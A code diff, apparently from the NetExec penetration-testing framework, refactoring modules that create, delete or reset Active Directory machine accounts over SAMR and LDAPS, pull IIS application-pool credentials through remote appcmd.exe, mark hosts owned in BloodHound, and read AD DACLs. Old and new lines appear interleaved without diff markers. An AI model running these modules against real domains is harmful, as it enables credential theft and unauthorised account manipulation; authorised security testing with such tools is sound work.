context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
context.log.highlight("Available domain(s):")
|
||||
for domain in domains:
|
||||
context.log.highlight(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selectedDomain = domainsWithoutBuiltin[0]['Name']
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
|
||||
domainSID = samrLookupDomainResponse['DomainId']
|
||||
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
|
||||
domain_sid = samr_lookup_domain_response["DomainId"]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.info("Opening domain %s..." % selectedDomain)
|
||||
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
|
||||
domainHandle = samrOpenDomainResponse['DomainHandle']
|
||||
context.log.debug(f"Opening domain {selected_domain}...")
|
||||
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
|
||||
domain_handle = samr_open_domain_response["DomainHandle"]
|
||||
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000073:
|
||||
context.log.highlight(u'{}'.format(
|
||||
self.__computerName + ' not found in domain ' + selectedDomain))
|
||||
self.noLDAPRequired = True
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
|
||||
userRID = checkForUser['RelativeIds']['Element'][0]
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
|
||||
userHandle = openUser['UserHandle']
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000022:
|
||||
context.log.highlight(u'{}'.format(
|
||||
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
|
||||
self.noLDAPRequired = True
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
raise Exception()
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xc0000073:
|
||||
raise
|
||||
else:
|
||||
foundUnused = False
|
||||
while not foundUnused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000073:
|
||||
foundUnused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xc0000022:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
raise Exception()
|
||||
elif e.error_code == 0xc00002e7:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
raise Exception()
|
||||
else:
|
||||
raise
|
||||
userHandle = createUser['UserHandle']
|
||||
context.log.exception(e)
|
||||
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, userHandle)
|
||||
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired=True
|
||||
userHandle = None
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired=True
|
||||
else:
|
||||
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
|
||||
userRID = checkForUser['RelativeIds']['Element'][0]
|
||||
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
|
||||
userHandle = openUser['UserHandle']
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, userHandle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
context.log.exception(e)
|
||||
else:
|
||||
if self.__computerName is not None:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
sys.exit(1)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
else:
|
||||
found_unused = False
|
||||
while not found_unused:
|
||||
self.__computerName = self.generateComputerName()
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000073:
|
||||
found_unused = True
|
||||
else:
|
||||
raise
|
||||
try:
|
||||
create_user = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code == 0xC0000022:
|
||||
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
|
||||
elif e.error_code == 0xC00002E7:
|
||||
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
|
||||
context.log.exception(e)
|
||||
user_handle = create_user["UserHandle"]
|
||||
|
||||
except Exception as e:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
finally:
|
||||
if userHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, userHandle)
|
||||
if domainHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, domainHandle)
|
||||
if servHandle is not None:
|
||||
samr.hSamrCloseHandle(dce, servHandle)
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
self.noLDAPRequired = True
|
||||
user_handle = None
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
user_rid = check_for_user["RelativeIds"]["Element"][0]
|
||||
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
|
||||
user_handle = open_user["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if serv_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
dce.disconnect()
|
||||
|
||||
def doLDAPSAdd(self, connection, context):
|
||||
def do_ldaps_add(self, connection, context):
|
||||
"""
|
||||
Performs an LDAPS add operation.
|
||||
|
||||
Args:
|
||||
----
|
||||
connection (Connection): The LDAP connection object.
|
||||
context (Context): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Raises:
|
||||
------
|
||||
None
|
||||
"""
|
||||
ldap_domain = connection.domain.replace(".", ",dc=")
|
||||
spns = [
|
||||
'HOST/%s' % self.__computerName,
|
||||
'HOST/%s.%s' % (self.__computerName, connection.domain),
|
||||
'RestrictedKrbHost/%s' % self.__computerName,
|
||||
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
|
||||
f"HOST/{self.__computerName}",
|
||||
f"HOST/{self.__computerName}.{connection.domain}",
|
||||
f"RestrictedKrbHost/{self.__computerName}",
|
||||
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
|
||||
]
|
||||
ucd = {
|
||||
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
|
||||
'userAccountControl': 0x1000,
|
||||
'servicePrincipalName': spns,
|
||||
'sAMAccountName': self.__computerName,
|
||||
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
|
||||
"dnsHostName": f"{self.__computerName}.{connection.domain}",
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.__computerName,
|
||||
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
|
||||
}
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
|
||||
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
|
||||
c.bind()
|
||||
|
||||
if (self.__delete):
|
||||
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
|
||||
if result:
|
||||
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
|
||||
elif result == False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
|
||||
elif result == False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(
|
||||
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
|
||||
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
|
||||
else:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
|
||||
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
|
||||
else:
|
||||
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
|
||||
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
|
||||
result = c.add(
|
||||
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
)
|
||||
if result:
|
||||
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
|
||||
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
|
||||
context.log.highlight(u'{}'.format(
|
||||
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
|
||||
elif result == False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
|
||||
c.unbind()
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
|
|
|
@ -1,16 +1,13 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
class NXCModule:
|
||||
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
|
||||
name = 'iis'
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
@ -24,29 +21,26 @@ class NXCModule:
|
|||
self.check_appcmd(context, connection)
|
||||
|
||||
def check_appcmd(self, context, connection):
|
||||
|
||||
if not hasattr(connection, 'has_run'):
|
||||
if not hasattr(connection, "has_run"):
|
||||
connection.has_run = False
|
||||
|
||||
|
||||
if connection.has_run:
|
||||
return
|
||||
|
||||
connection.has_run = True
|
||||
|
||||
|
||||
try:
|
||||
connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
|
||||
connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
|
||||
self.execute_appcmd(context, connection)
|
||||
except:
|
||||
context.log.fail("appcmd.exe not found, this module is not applicable.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
|
||||
return
|
||||
|
||||
def execute_appcmd(self, context, connection):
|
||||
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
|
||||
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
|
||||
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
|
||||
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
|
||||
output = connection.execute(command, True)
|
||||
|
||||
|
||||
lines = output.splitlines()
|
||||
username = None
|
||||
password = None
|
||||
|
@ -55,20 +49,19 @@ class NXCModule:
|
|||
credentials_set = set()
|
||||
|
||||
for line in lines:
|
||||
if 'APPPOOL.NAME:' in line:
|
||||
apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
|
||||
if "APPPOOL.NAME:" in line:
|
||||
apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
|
||||
if "userName:" in line:
|
||||
username = line.split("userName:")[1].strip().strip('"')
|
||||
if "password:" in line:
|
||||
password = line.split("password:")[1].strip().strip('"')
|
||||
|
||||
|
||||
if apppool_name and username is not None and password is not None:
|
||||
if apppool_name and username is not None and password is not None:
|
||||
current_credentials = (apppool_name, username, password)
|
||||
|
||||
if current_credentials not in credentials_set:
|
||||
credentials_set.add(current_credentials)
|
||||
|
||||
|
||||
if username:
|
||||
context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
|
||||
if password == "":
|
||||
|
@ -76,7 +69,6 @@ class NXCModule:
|
|||
else:
|
||||
context.log.highlight(f"Username: {username}, Password: {password}")
|
||||
|
||||
|
||||
username = None
|
||||
password = None
|
||||
apppool_name = None
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
|
@ -33,7 +31,6 @@ class NXCModule:
|
|||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
"""
|
||||
|
||||
self.neo4j_URI = "127.0.0.1"
|
||||
self.neo4j_Port = "7687"
|
||||
self.neo4j_user = "neo4j"
|
||||
|
@ -49,10 +46,7 @@ class NXCModule:
|
|||
self.neo4j_pass = module_options["PASS"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.local_auth:
|
||||
domain = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
domain = connection.domain
|
||||
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
|
||||
|
||||
host_fqdn = f"{connection.hostname}.{domain}".upper()
|
||||
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
|
||||
|
@ -62,7 +56,7 @@ class NXCModule:
|
|||
try:
|
||||
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
|
||||
except AuthError:
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
|
||||
sys.exit()
|
||||
except ServiceUnavailable:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
|
@ -73,15 +67,21 @@ class NXCModule:
|
|||
sys.exit()
|
||||
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
try:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
except ServiceUnavailable as e:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
context.log.debug(f"Error {e}: ")
|
||||
driver.close()
|
||||
sys.exit()
|
||||
if len(value) > 0:
|
||||
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
|
||||
else:
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
|
||||
driver.close()
|
||||
|
|
|
@ -10,6 +10,7 @@ from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
|||
from ldap3.protocol.formatters.formatters import format_sid
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
|
@ -188,15 +189,15 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
|||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be careful, this module cannot read the DACLS recursively, more explains in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
@ -207,9 +208,11 @@ class NXCModule:
|
|||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
|
||||
PRINCIPAL The trustee that we want to filter on
|
||||
ACTION The action to realise on the DACL (read, backup)
|
||||
ACE_TYPE The type of ACE to read (Allowed or Denied)
|
||||
|
@ -218,18 +221,22 @@ class NXCModule:
|
|||
"""
|
||||
self.context = context
|
||||
|
||||
context.log.debug(f"module_options: {module_options}")
|
||||
|
||||
if not module_options:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"], "r")
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception as e:
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
|
@ -264,11 +271,8 @@ class NXCModule:
|
|||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
|
||||
"""
|
||||
|
||||
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
|
||||
|
@ -279,20 +283,16 @@ class NXCModule:
|
|||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["objectSid"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
)[0][1][0][1][0]
|
||||
)
|
||||
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
|
||||
except Exception as e:
|
||||
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
|
||||
exit(1)
|
||||
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
|
||||
except Exception:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
|
||||
# Searching for the targets SID and their Security Decriptors
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
|
@ -302,10 +302,10 @@ class NXCModule:
|
|||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
|
||||
except Exception as e:
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
exit(1)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
sys.exit(1)
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
|
@ -324,9 +324,9 @@ class NXCModule:
|
|||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
except Exception as e:
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
|
@ -339,7 +339,6 @@ class NXCModule:
|
|||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
return
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
|
@ -348,7 +347,7 @@ class NXCModule:
|
|||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-%s-%s.bak" % (
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
|
@ -366,7 +365,7 @@ class NXCModule:
|
|||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
|
@ -374,61 +373,54 @@ class NXCModule:
|
|||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception as e:
|
||||
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
|
||||
exit(0)
|
||||
except Exception:
|
||||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
